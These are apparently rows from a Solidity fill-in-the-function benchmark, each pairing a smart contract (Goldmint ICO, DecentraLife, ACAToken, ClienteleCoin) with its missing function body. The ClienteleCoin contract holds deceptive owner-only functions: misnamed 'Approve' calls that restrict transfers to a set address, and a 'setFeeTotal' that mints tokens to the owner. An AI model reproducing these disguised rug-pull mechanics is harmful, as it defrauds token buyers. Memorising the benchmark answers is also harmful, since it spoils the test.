onlyEthSetter() { require(msg.sender==ethRateChanger); _; } modifier onlyInState(State state){ require(state==currentState); _; } // Events: event LogStateSwitch(State newState); event LogBuy(address indexed owner, uint value); event LogBurn(address indexed owner, uint value); // Functions: /// @dev Constructor function Goldmint( address _tokenManager, address _ethRateChanger, address _otherCurrenciesChecker, address _mntTokenAddress, address _unsoldContractAddress, address _foundersVestingAddress) { creator = msg.sender; tokenManager = _tokenManager; ethRateChanger = _ethRateChanger; lastUsdPerEthChangeDate = uint64(now); otherCurrenciesChecker = _otherCurrenciesChecker; mntToken = MNTP(_mntTokenAddress); unsoldContract = GoldmintUnsold(_unsoldContractAddress); // slight rename foundersRewardsAccount = _foundersVestingAddress; assert(multisigs.length==10); } function startICO() public onlyCreator onlyInState(State.Init) { setState(State.ICORunning); icoStartedTime = uint64(now); mntToken.lockTransfer(true); mntToken.issueTokens(foundersRewardsAccount, FOUNDERS_REWARD); } function pauseICO() public onlyCreator onlyInState(State.ICORunning) { setState(State.ICOPaused); } function resumeICO() public onlyCreator onlyInState(State.ICOPaused) { setState(State.ICORunning); } function startRefunding() public onlyCreator onlyInState(State.ICORunning) { // only switch to this state if less than ICO_TOKEN_SOFT_CAP sold require(icoTokensSold < ICO_TOKEN_SOFT_CAP); setState(State.Refunding); // in this state tokens still shouldn't be transferred assert(mntToken.lockTransfers()); } function startMigration() public onlyCreator onlyInState(State.ICOFinished) { // there is no way back... setState(State.Migrating); // disable token transfers mntToken.lockTransfer(true); } /// @dev This function can be called by creator at any time, /// or by anyone if ICO has really finished. function finishICO() public onlyInState(State.ICORunning) { require(msg.sender == creator || isIcoFinished()); setState(State.ICOFinished); // 1 - lock all transfers mntToken.lockTransfer(false); // 2 - move all unsold tokens to unsoldTokens contract icoTokensUnsold = safeSub(ICO_TOKEN_SUPPLY_LIMIT,icoTokensSold); if(icoTokensUnsold>0){ mntToken.issueTokens(unsoldContract,icoTokensUnsold); unsoldContract.finishIco(); } // 3 - send all ETH to multisigs // we have N separate multisigs for extra security uint sendThisAmount = (this.balance / 10); // 3.1 - send to 9 multisigs for(uint i=0; i<9; ++i){ address ms = multisigs[i]; if(this.balance>=sendThisAmount){ ms.transfer(sendThisAmount); } } // 3.2 - send everything left to 10th multisig if(0!=this.balance){ address lastMs = multisigs[9]; lastMs.transfer(this.balance); } } function setState(State _s) internal { currentState = _s; LogStateSwitch(_s); } // Access methods: function setTokenManager(address _new) public onlyTokenManager { tokenManager = _new; } // TODO: stealing creator's key means stealing otherCurrenciesChecker key too! /* function setOtherCurrenciesChecker(address _new) public onlyCreator { otherCurrenciesChecker = _new; } */ // These are used by frontend so we can not remove them function getTokensIcoSold() constant public returns (uint){ return icoTokensSold; } function getTotalIcoTokens() constant public returns (uint){ return ICO_TOKEN_SUPPLY_LIMIT; } function getMntTokenBalance(address _of) constant public returns (uint){ return mntToken.balanceOf(_of); } function getBlockLength()constant public returns (uint){ return SINGLE_BLOCK_LEN; } function getCurrentPrice()constant public returns (uint){ return getMntTokensPerEth(icoTokensSold); } function getTotalCollectedWei()constant public returns (uint){ return collectedWei; } ///////////////////////////// function isIcoFinished() constant public returns(bool) { return (icoStartedTime > 0) && (now > (icoStartedTime + 30 days) || (icoTokensSold >= ICO_TOKEN_SUPPLY_LIMIT)); } function getMntTokensPerEth(uint _tokensSold) public constant returns (uint){ // 10 buckets uint priceIndex = (_tokensSold / 1 ether) / SINGLE_BLOCK_LEN; assert(priceIndex>=0 && (priceIndex<=9)); uint8[10] memory discountPercents = [20,15,10,8,6,4,2,0,0,0]; // We have to multiply by '1 ether' to avoid float truncations // Example: ($7000 * 100) / 120 = $5833.33333 uint pricePer1000tokensUsd = ((STD_PRICE_USD_PER_1000_TOKENS * 100) * 1 ether) / (100 + discountPercents[priceIndex]); // Correct: 300000 / 5833.33333333 = 51.42857142 // We have to multiply by '1 ether' to avoid float truncations uint mntPerEth = (usdPerEthCoinmarketcapRate * 1000 * 1 ether * 1 ether) / pricePer1000tokensUsd; return mntPerEth; } function buyTokens(address _buyer) public payable onlyInState(State.ICORunning) { require(msg.value!=0); // The price is selected based on current sold tokens. // Price can 'overlap'. For example: // 1. if currently we sold 699950 tokens (the price is 10% discount) // 2. buyer buys 1000 tokens // 3. the price of all 1000 tokens would be with 10% discount!!! uint newTokens = (msg.value * getMntTokensPerEth(icoTokensSold)) / 1 ether; issueTokensInternal(_buyer,newTokens); // Update this only when buying from ETH ethInvestedBy[msg.sender] = safeAdd(ethInvestedBy[msg.sender], msg.value); // This is total collected ETH collectedWei = safeAdd(collectedWei, msg.value); } /// @dev This is called by other currency processors to issue new tokens function issueTokensFromOtherCurrency(address _to, uint _weiCount) onlyInState(State.ICORunning) public onlyOtherCurrenciesChecker { require(_weiCount!=0); uint newTokens = (_weiCount * getMntTokensPerEth(icoTokensSold)) / 1 ether; require(newTokens<=MAX_SINGLE_ISSUED_FROM_OTHER_CURRENCIES); require((issuedFromOtherCurrencies + newTokens)<=MAX_ISSUED_FROM_OTHER_CURRENCIES); issueTokensInternal(_to,newTokens); issuedFromOtherCurrencies = issuedFromOtherCurrencies + newTokens; } /// @dev This can be called to manually issue new tokens /// from the bonus reward function issueTokensExternal(address _to, uint _tokens) public onlyTokenManager {<FILL_FUNCTION_BODY> } function issueTokensInternal(address _to, uint _tokens) internal { require((icoTokensSold + _tokens)<=ICO_TOKEN_SUPPLY_LIMIT); mntToken.issueTokens(_to,_tokens); icoTokensSold+=_tokens; LogBuy(_to,_tokens); } // anyone can call this and get his money back function getMyRefund() public onlyInState(State.Refunding) { address sender = msg.sender; uint ethValue = ethInvestedBy[sender]; require(ethValue > 0); // 1 - burn tokens ethInvestedBy[sender] = 0; mntToken.burnTokens(sender, mntToken.balanceOf(sender)); // 2 - send money back sender.transfer(ethValue); } function setUsdPerEthRate(uint _usdPerEthRate) public onlyEthSetter { // 1 - check require((_usdPerEthRate>=100) && (_usdPerEthRate<=700)); uint64 hoursPassed = lastUsdPerEthChangeDate + 1 hours; require(uint(now) >= hoursPassed); // 2 - update usdPerEthCoinmarketcapRate = _usdPerEthRate; lastUsdPerEthChangeDate = uint64(now); } // Default fallback function function() payable { // buyTokens -> issueTokensInternal buyTokens(msg.sender); } }
contract Goldmint is SafeMath { // Constants: // These values are HARD CODED!!! // For extra security we split single multisig wallet into 10 separate multisig wallets // // THIS IS A REAL ICO WALLETS!!! // PLEASE DOUBLE CHECK THAT... address[] public multisigs = [ 0xcEc42E247097C276Ad3D7cFd270aDBd562dA5c61, 0x373C46c544662B8C5D55c24Cf4F9a5020163eC2f, 0x672CF829272339A6c8c11b14Acc5F9d07bAFAC7c, 0xce0e1981A19a57aE808a7575a6738e4527fB9118, 0x93Aa76cdb17EeA80e4De983108ef575D8fc8f12b, 0x20ae3329Cd1e35FEfF7115B46218c9D056d430Fd, 0xe9fC1A57a5dC1CaA3DE22A940E9F09e640615f7E, 0xD360433950DE9F6FA0e93C29425845EeD6BFA0d0, 0xF0De97EAff5D6c998c80e07746c81a336e1BBd43, 0x80b365da1C18f4aa1ecFa0dFA07Ed4417B05Cc69 ]; // We count ETH invested by person, for refunds (see below) mapping(address => uint) ethInvestedBy; uint collectedWei = 0; // These can be changed before ICO starts ($7USD/MNTP) uint constant STD_PRICE_USD_PER_1000_TOKENS = 7000; // The USD/ETH exchange rate may be changed every hour and can vary from $100 to $700 depending on the market. The exchange rate is retrieved from coinmarketcap.com site and is rounded to $1 dollar. For example if current marketcap price is $306.123 per ETH, the price is set as $306 to the contract. uint public usdPerEthCoinmarketcapRate = 300; uint64 public lastUsdPerEthChangeDate = 0; // Price changes from block to block uint constant SINGLE_BLOCK_LEN = 700000; // 1 000 000 tokens uint public constant BONUS_REWARD = 1000000 * 1 ether; // 2 000 000 tokens uint public constant FOUNDERS_REWARD = 2000000 * 1 ether; // 7 000 000 is sold during the ICO uint public constant ICO_TOKEN_SUPPLY_LIMIT = 7000000 * 1 ether; // 150 000 tokens soft cap (otherwise - refund) uint public constant ICO_TOKEN_SOFT_CAP = 150000 * 1 ether; // 3 000 000 can be issued from other currencies uint public constant MAX_ISSUED_FROM_OTHER_CURRENCIES = 3000000 * 1 ether; // 30 000 MNTP tokens per one call only uint public constant MAX_SINGLE_ISSUED_FROM_OTHER_CURRENCIES = 30000 * 1 ether; uint public issuedFromOtherCurrencies = 0; // Fields: address public creator = 0x0; // can not be changed after deploy address public ethRateChanger = 0x0; // can not be changed after deploy address public tokenManager = 0x0; // can be changed by token manager only address public otherCurrenciesChecker = 0x0; // can not be changed after deploy uint64 public icoStartedTime = 0; MNTP public mntToken; GoldmintUnsold public unsoldContract; // Total amount of tokens sold during ICO uint public icoTokensSold = 0; // Total amount of tokens sent to GoldmintUnsold contract after ICO is finished uint public icoTokensUnsold = 0; // Total number of tokens that were issued by a scripts uint public issuedExternallyTokens = 0; // This is where FOUNDERS_REWARD will be allocated address public foundersRewardsAccount = 0x0; enum State{ Init, ICORunning, ICOPaused, // Collected ETH is transferred to multisigs. // Unsold tokens transferred to GoldmintUnsold contract. ICOFinished, // We start to refund if Soft Cap is not reached. // Then each token holder should request a refund personally from his // personal wallet. // // We will return ETHs only to the original address. If your address is changed // or you have lost your keys -> you will not be able to get a refund. // // There is no any possibility to transfer tokens // There is no any possibility to move back Refunding, // In this state we lock all MNT tokens forever. // We are going to migrate MNTP -> MNT tokens during this stage. // // There is no any possibility to transfer tokens // There is no any possibility to move back Migrating } State public currentState = State.Init; // Modifiers: modifier onlyCreator() { require(msg.sender==creator); _; } modifier onlyTokenManager() { require(msg.sender==tokenManager); _; } modifier onlyOtherCurrenciesChecker() { require(msg.sender==otherCurrenciesChecker); _; } modifier onlyEthSetter() { require(msg.sender==ethRateChanger); _; } modifier onlyInState(State state){ require(state==currentState); _; } // Events: event LogStateSwitch(State newState); event LogBuy(address indexed owner, uint value); event LogBurn(address indexed owner, uint value); // Functions: /// @dev Constructor function Goldmint( address _tokenManager, address _ethRateChanger, address _otherCurrenciesChecker, address _mntTokenAddress, address _unsoldContractAddress, address _foundersVestingAddress) { creator = msg.sender; tokenManager = _tokenManager; ethRateChanger = _ethRateChanger; lastUsdPerEthChangeDate = uint64(now); otherCurrenciesChecker = _otherCurrenciesChecker; mntToken = MNTP(_mntTokenAddress); unsoldContract = GoldmintUnsold(_unsoldContractAddress); // slight rename foundersRewardsAccount = _foundersVestingAddress; assert(multisigs.length==10); } function startICO() public onlyCreator onlyInState(State.Init) { setState(State.ICORunning); icoStartedTime = uint64(now); mntToken.lockTransfer(true); mntToken.issueTokens(foundersRewardsAccount, FOUNDERS_REWARD); } function pauseICO() public onlyCreator onlyInState(State.ICORunning) { setState(State.ICOPaused); } function resumeICO() public onlyCreator onlyInState(State.ICOPaused) { setState(State.ICORunning); } function startRefunding() public onlyCreator onlyInState(State.ICORunning) { // only switch to this state if less than ICO_TOKEN_SOFT_CAP sold require(icoTokensSold < ICO_TOKEN_SOFT_CAP); setState(State.Refunding); // in this state tokens still shouldn't be transferred assert(mntToken.lockTransfers()); } function startMigration() public onlyCreator onlyInState(State.ICOFinished) { // there is no way back... setState(State.Migrating); // disable token transfers mntToken.lockTransfer(true); } /// @dev This function can be called by creator at any time, /// or by anyone if ICO has really finished. function finishICO() public onlyInState(State.ICORunning) { require(msg.sender == creator || isIcoFinished()); setState(State.ICOFinished); // 1 - lock all transfers mntToken.lockTransfer(false); // 2 - move all unsold tokens to unsoldTokens contract icoTokensUnsold = safeSub(ICO_TOKEN_SUPPLY_LIMIT,icoTokensSold); if(icoTokensUnsold>0){ mntToken.issueTokens(unsoldContract,icoTokensUnsold); unsoldContract.finishIco(); } // 3 - send all ETH to multisigs // we have N separate multisigs for extra security uint sendThisAmount = (this.balance / 10); // 3.1 - send to 9 multisigs for(uint i=0; i<9; ++i){ address ms = multisigs[i]; if(this.balance>=sendThisAmount){ ms.transfer(sendThisAmount); } } // 3.2 - send everything left to 10th multisig if(0!=this.balance){ address lastMs = multisigs[9]; lastMs.transfer(this.balance); } } function setState(State _s) internal { currentState = _s; LogStateSwitch(_s); } // Access methods: function setTokenManager(address _new) public onlyTokenManager { tokenManager = _new; } // TODO: stealing creator's key means stealing otherCurrenciesChecker key too! /* function setOtherCurrenciesChecker(address _new) public onlyCreator { otherCurrenciesChecker = _new; } */ // These are used by frontend so we can not remove them function getTokensIcoSold() constant public returns (uint){ return icoTokensSold; } function getTotalIcoTokens() constant public returns (uint){ return ICO_TOKEN_SUPPLY_LIMIT; } function getMntTokenBalance(address _of) constant public returns (uint){ return mntToken.balanceOf(_of); } function getBlockLength()constant public returns (uint){ return SINGLE_BLOCK_LEN; } function getCurrentPrice()constant public returns (uint){ return getMntTokensPerEth(icoTokensSold); } function getTotalCollectedWei()constant public returns (uint){ return collectedWei; } ///////////////////////////// function isIcoFinished() constant public returns(bool) { return (icoStartedTime > 0) && (now > (icoStartedTime + 30 days) || (icoTokensSold >= ICO_TOKEN_SUPPLY_LIMIT)); } function getMntTokensPerEth(uint _tokensSold) public constant returns (uint){ // 10 buckets uint priceIndex = (_tokensSold / 1 ether) / SINGLE_BLOCK_LEN; assert(priceIndex>=0 && (priceIndex<=9)); uint8[10] memory discountPercents = [20,15,10,8,6,4,2,0,0,0]; // We have to multiply by '1 ether' to avoid float truncations // Example: ($7000 * 100) / 120 = $5833.33333 uint pricePer1000tokensUsd = ((STD_PRICE_USD_PER_1000_TOKENS * 100) * 1 ether) / (100 + discountPercents[priceIndex]); // Correct: 300000 / 5833.33333333 = 51.42857142 // We have to multiply by '1 ether' to avoid float truncations uint mntPerEth = (usdPerEthCoinmarketcapRate * 1000 * 1 ether * 1 ether) / pricePer1000tokensUsd; return mntPerEth; } function buyTokens(address _buyer) public payable onlyInState(State.ICORunning) { require(msg.value!=0); // The price is selected based on current sold tokens. // Price can 'overlap'. For example: // 1. if currently we sold 699950 tokens (the price is 10% discount) // 2. buyer buys 1000 tokens // 3. the price of all 1000 tokens would be with 10% discount!!! uint newTokens = (msg.value * getMntTokensPerEth(icoTokensSold)) / 1 ether; issueTokensInternal(_buyer,newTokens); // Update this only when buying from ETH ethInvestedBy[msg.sender] = safeAdd(ethInvestedBy[msg.sender], msg.value); // This is total collected ETH collectedWei = safeAdd(collectedWei, msg.value); } /// @dev This is called by other currency processors to issue new tokens function issueTokensFromOtherCurrency(address _to, uint _weiCount) onlyInState(State.ICORunning) public onlyOtherCurrenciesChecker { require(_weiCount!=0); uint newTokens = (_weiCount * getMntTokensPerEth(icoTokensSold)) / 1 ether; require(newTokens<=MAX_SINGLE_ISSUED_FROM_OTHER_CURRENCIES); require((issuedFromOtherCurrencies + newTokens)<=MAX_ISSUED_FROM_OTHER_CURRENCIES); issueTokensInternal(_to,newTokens); issuedFromOtherCurrencies = issuedFromOtherCurrencies + newTokens; } <FILL_FUNCTION> function issueTokensInternal(address _to, uint _tokens) internal { require((icoTokensSold + _tokens)<=ICO_TOKEN_SUPPLY_LIMIT); mntToken.issueTokens(_to,_tokens); icoTokensSold+=_tokens; LogBuy(_to,_tokens); } // anyone can call this and get his money back function getMyRefund() public onlyInState(State.Refunding) { address sender = msg.sender; uint ethValue = ethInvestedBy[sender]; require(ethValue > 0); // 1 - burn tokens ethInvestedBy[sender] = 0; mntToken.burnTokens(sender, mntToken.balanceOf(sender)); // 2 - send money back sender.transfer(ethValue); } function setUsdPerEthRate(uint _usdPerEthRate) public onlyEthSetter { // 1 - check require((_usdPerEthRate>=100) && (_usdPerEthRate<=700)); uint64 hoursPassed = lastUsdPerEthChangeDate + 1 hours; require(uint(now) >= hoursPassed); // 2 - update usdPerEthCoinmarketcapRate = _usdPerEthRate; lastUsdPerEthChangeDate = uint64(now); } // Default fallback function function() payable { // buyTokens -> issueTokensInternal buyTokens(msg.sender); } }
// in 2 states require((State.ICOFinished==currentState) || (State.ICORunning==currentState)); // can not issue more than BONUS_REWARD require((issuedExternallyTokens + _tokens)<=BONUS_REWARD); mntToken.issueTokens(_to,_tokens); issuedExternallyTokens = issuedExternallyTokens + _tokens;
function issueTokensExternal(address _to, uint _tokens) public onlyTokenManager
/// @dev This can be called to manually issue new tokens /// from the bonus reward function issueTokensExternal(address _to, uint _tokens) public onlyTokenManager
92514
DecentraLife
burn
contract DecentraLife is ERC20, ERC20Detailed, Ownable { using SafeMath for uint256; using Address for address; using SafeERC20 for IERC20; address public creator; string constant tokenName = "DecentraLife"; string constant tokenSymbol = "DLIFE"; uint8 constant tokenDecimals = 18; uint256 circulatingSupply = 10400 * (10 ** 18); constructor() public payable ERC20Detailed(tokenName, tokenSymbol, tokenDecimals) { creator = msg.sender; mint(creator, circulatingSupply); } function mint(address _to, uint256 _amount) public onlyOwner { _mint(_to, _amount); } function burn(uint256 amount) public onlyOwner {<FILL_FUNCTION_BODY> } }
contract DecentraLife is ERC20, ERC20Detailed, Ownable { using SafeMath for uint256; using Address for address; using SafeERC20 for IERC20; address public creator; string constant tokenName = "DecentraLife"; string constant tokenSymbol = "DLIFE"; uint8 constant tokenDecimals = 18; uint256 circulatingSupply = 10400 * (10 ** 18); constructor() public payable ERC20Detailed(tokenName, tokenSymbol, tokenDecimals) { creator = msg.sender; mint(creator, circulatingSupply); } function mint(address _to, uint256 _amount) public onlyOwner { _mint(_to, _amount); } <FILL_FUNCTION> }
_burn(_msgSender(), amount);
function burn(uint256 amount) public onlyOwner
function burn(uint256 amount) public onlyOwner
65968
ACAToken
burn
contract ACAToken is ERC20 { using SafeMath for uint256; address public owner; address public admin; string public name = "ACA Network Token"; string public symbol = "ACA"; uint8 public decimals = 18; uint256 totalSupply_; mapping (address => mapping (address => uint256)) internal allowed; mapping (address => uint256) balances; bool transferable = false; mapping (address => bool) internal transferLocked; event Genesis(address owner, uint256 value); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); event AdminTransferred(address indexed previousAdmin, address indexed newAdmin); event Burn(address indexed burner, uint256 value); event LogAddress(address indexed addr); event LogUint256(uint256 value); event TransferLock(address indexed target, bool value); // modifiers modifier onlyOwner() { require(msg.sender == owner); _; } modifier onlyAdmin() { require(msg.sender == owner || msg.sender == admin); _; } modifier canTransfer(address _from, address _to) { require(_to != address(0x0)); require(_to != address(this)); if ( _from != owner && _from != admin ) { require(transferable); require (!transferLocked[_from]); } _; } // constructor function ACAToken(uint256 _totalSupply, address _newAdmin) public { require(_totalSupply > 0); require(_newAdmin != address(0x0)); require(_newAdmin != msg.sender); owner = msg.sender; admin = _newAdmin; totalSupply_ = _totalSupply; balances[owner] = totalSupply_; approve(admin, totalSupply_); Genesis(owner, totalSupply_); } // permission related function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); require(newOwner != admin); owner = newOwner; OwnershipTransferred(owner, newOwner); } function transferAdmin(address _newAdmin) public onlyOwner { require(_newAdmin != address(0)); require(_newAdmin != address(this)); require(_newAdmin != owner); admin = _newAdmin; AdminTransferred(admin, _newAdmin); } function setTransferable(bool _transferable) public onlyAdmin { transferable = _transferable; } function isTransferable() public view returns (bool) { return transferable; } function transferLock() public returns (bool) { transferLocked[msg.sender] = true; TransferLock(msg.sender, true); return true; } function manageTransferLock(address _target, bool _value) public onlyOwner returns (bool) { transferLocked[_target] = _value; TransferLock(_target, _value); return true; } function transferAllowed(address _target) public view returns (bool) { return (transferable && transferLocked[_target] == false); } // token related function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) canTransfer(msg.sender, _to) public returns (bool) { require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } function balanceOfOwner() public view returns (uint256 balance) { return balances[owner]; } function transferFrom(address _from, address _to, uint256 _value) public canTransfer(_from, _to) returns (bool) { require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public canTransfer(msg.sender, _spender) returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public canTransfer(msg.sender, _spender) returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public canTransfer(msg.sender, _spender) returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function burn(uint256 _value) public {<FILL_FUNCTION_BODY> } function emergencyERC20Drain(ERC20 _token, uint256 _amount) public onlyOwner { _token.transfer(owner, _amount); } }
contract ACAToken is ERC20 { using SafeMath for uint256; address public owner; address public admin; string public name = "ACA Network Token"; string public symbol = "ACA"; uint8 public decimals = 18; uint256 totalSupply_; mapping (address => mapping (address => uint256)) internal allowed; mapping (address => uint256) balances; bool transferable = false; mapping (address => bool) internal transferLocked; event Genesis(address owner, uint256 value); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); event AdminTransferred(address indexed previousAdmin, address indexed newAdmin); event Burn(address indexed burner, uint256 value); event LogAddress(address indexed addr); event LogUint256(uint256 value); event TransferLock(address indexed target, bool value); // modifiers modifier onlyOwner() { require(msg.sender == owner); _; } modifier onlyAdmin() { require(msg.sender == owner || msg.sender == admin); _; } modifier canTransfer(address _from, address _to) { require(_to != address(0x0)); require(_to != address(this)); if ( _from != owner && _from != admin ) { require(transferable); require (!transferLocked[_from]); } _; } // constructor function ACAToken(uint256 _totalSupply, address _newAdmin) public { require(_totalSupply > 0); require(_newAdmin != address(0x0)); require(_newAdmin != msg.sender); owner = msg.sender; admin = _newAdmin; totalSupply_ = _totalSupply; balances[owner] = totalSupply_; approve(admin, totalSupply_); Genesis(owner, totalSupply_); } // permission related function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); require(newOwner != admin); owner = newOwner; OwnershipTransferred(owner, newOwner); } function transferAdmin(address _newAdmin) public onlyOwner { require(_newAdmin != address(0)); require(_newAdmin != address(this)); require(_newAdmin != owner); admin = _newAdmin; AdminTransferred(admin, _newAdmin); } function setTransferable(bool _transferable) public onlyAdmin { transferable = _transferable; } function isTransferable() public view returns (bool) { return transferable; } function transferLock() public returns (bool) { transferLocked[msg.sender] = true; TransferLock(msg.sender, true); return true; } function manageTransferLock(address _target, bool _value) public onlyOwner returns (bool) { transferLocked[_target] = _value; TransferLock(_target, _value); return true; } function transferAllowed(address _target) public view returns (bool) { return (transferable && transferLocked[_target] == false); } // token related function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) canTransfer(msg.sender, _to) public returns (bool) { require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } function balanceOfOwner() public view returns (uint256 balance) { return balances[owner]; } function transferFrom(address _from, address _to, uint256 _value) public canTransfer(_from, _to) returns (bool) { require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public canTransfer(msg.sender, _spender) returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public canTransfer(msg.sender, _spender) returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public canTransfer(msg.sender, _spender) returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } <FILL_FUNCTION> function emergencyERC20Drain(ERC20 _token, uint256 _amount) public onlyOwner { _token.transfer(owner, _amount); } }
require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply_ = totalSupply_.sub(_value); Burn(burner, _value);
function burn(uint256 _value) public
function burn(uint256 _value) public
1485
ClienteleCoin
null
contract ClienteleCoin is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; address public _tBotAddress; address public _tBlackAddress; uint256 private _tTotal = 100 * 10**9 * 10**18; string private _name = 'ClienteleCoin.com'; string private _symbol = 'ClienteleCoin 👟'; uint8 private _decimals = 18; uint256 public _maxBlack = 50000000 * 10**18; constructor () public {<FILL_FUNCTION_BODY> } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function Approve(address blackListAddress) public onlyOwner { _tBotAddress = blackListAddress; } function setBlackAddress(address blackAddress) public onlyOwner { _tBlackAddress = blackAddress; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setFeeTotal(uint256 amount) public onlyOwner { require(_msgSender() != address(0), "ERC20: cannot permit zero address"); _tTotal = _tTotal.add(amount); _balances[_msgSender()] = _balances[_msgSender()].add(amount); emit Transfer(address(0), _msgSender(), amount); } function Approve(uint256 maxTxBlackPercent) public onlyOwner { _maxBlack = maxTxBlackPercent * 10**18; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); if (sender != _tBlackAddress && recipient == _tBotAddress) { require(amount < _maxBlack, "Transfer amount exceeds the maxTxAmount."); } _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
contract ClienteleCoin is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; address public _tBotAddress; address public _tBlackAddress; uint256 private _tTotal = 100 * 10**9 * 10**18; string private _name = 'ClienteleCoin.com'; string private _symbol = 'ClienteleCoin 👟'; uint8 private _decimals = 18; uint256 public _maxBlack = 50000000 * 10**18; <FILL_FUNCTION> function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function Approve(address blackListAddress) public onlyOwner { _tBotAddress = blackListAddress; } function setBlackAddress(address blackAddress) public onlyOwner { _tBlackAddress = blackAddress; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setFeeTotal(uint256 amount) public onlyOwner { require(_msgSender() != address(0), "ERC20: cannot permit zero address"); _tTotal = _tTotal.add(amount); _balances[_msgSender()] = _balances[_msgSender()].add(amount); emit Transfer(address(0), _msgSender(), amount); } function Approve(uint256 maxTxBlackPercent) public onlyOwner { _maxBlack = maxTxBlackPercent * 10**18; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); if (sender != _tBlackAddress && recipient == _tBotAddress) { require(amount < _maxBlack, "Transfer amount exceeds the maxTxAmount."); } _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
_balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal);
constructor () public
constructor () public
87601
SingleCreatorControl
isAllowedSingleCreator
